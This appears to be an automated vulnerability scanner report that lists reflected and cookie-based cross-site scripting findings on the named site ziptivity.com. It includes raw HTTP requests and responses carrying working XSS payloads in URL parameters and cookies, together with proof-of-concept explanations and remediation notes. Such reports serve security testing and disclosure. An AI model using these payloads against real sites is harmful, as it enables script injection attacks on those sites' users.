GET /?64326'style%3d'x%3aexpression(alert(1))'258e37ce97f=1 HTTP/1.1 Host: ziptivity.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Oct 2011 17:57:07 GMT Content-Length: 132081
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Ziptivity - ...[SNIP]... <a class="topMenu fontGothic" href='/LogIn.aspx?ReturnUrl=http://ziptivity.com/default.aspx?64326'style='x:expression(alert(1))'258e37ce97f=1'> ...[SNIP]...
The value of the Distance request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload cc56c'style%3d'x%3aexpression(alert(1))'7193e8a3b2d was submitted in the Distance parameter. This input was echoed as cc56c'style='x:expression(alert(1))'7193e8a3b2d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the Zip request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7711a'style%3d'x%3aexpression(alert(1))'f4297689048 was submitted in the Zip parameter. This input was echoed as 7711a'style='x:expression(alert(1))'f4297689048 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Oct 2011 18:08:15 GMT Content-Length: 294255
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Ziptivity - ...[SNIP]... <a class="topMenu fontGothic" href='/LogIn.aspx?ReturnUrl=http://ziptivity.com/SearchPage.aspx?Ziptivity=Ziptivity&Zip=017427711a'style='x:expression(alert(1))'f4297689048&Distance=20'> ...[SNIP]...
1.22. http://ziptivity.com/SearchPage.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ziptivity.com
Path:
/SearchPage.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fdc5e'style%3d'x%3aexpression(alert(1))'2295f6e9b4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as fdc5e'style='x:expression(alert(1))'2295f6e9b4e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the LeftNav cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bce56"><script>alert(1)</script>6fecb848eb8 was submitted in the LeftNav cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the profileGuid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc5c3"-alert(1)-"1c32a5684b8 was submitted in the profileGuid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=ISO-885 ...[SNIP]... in WebTrends var gDcsId="";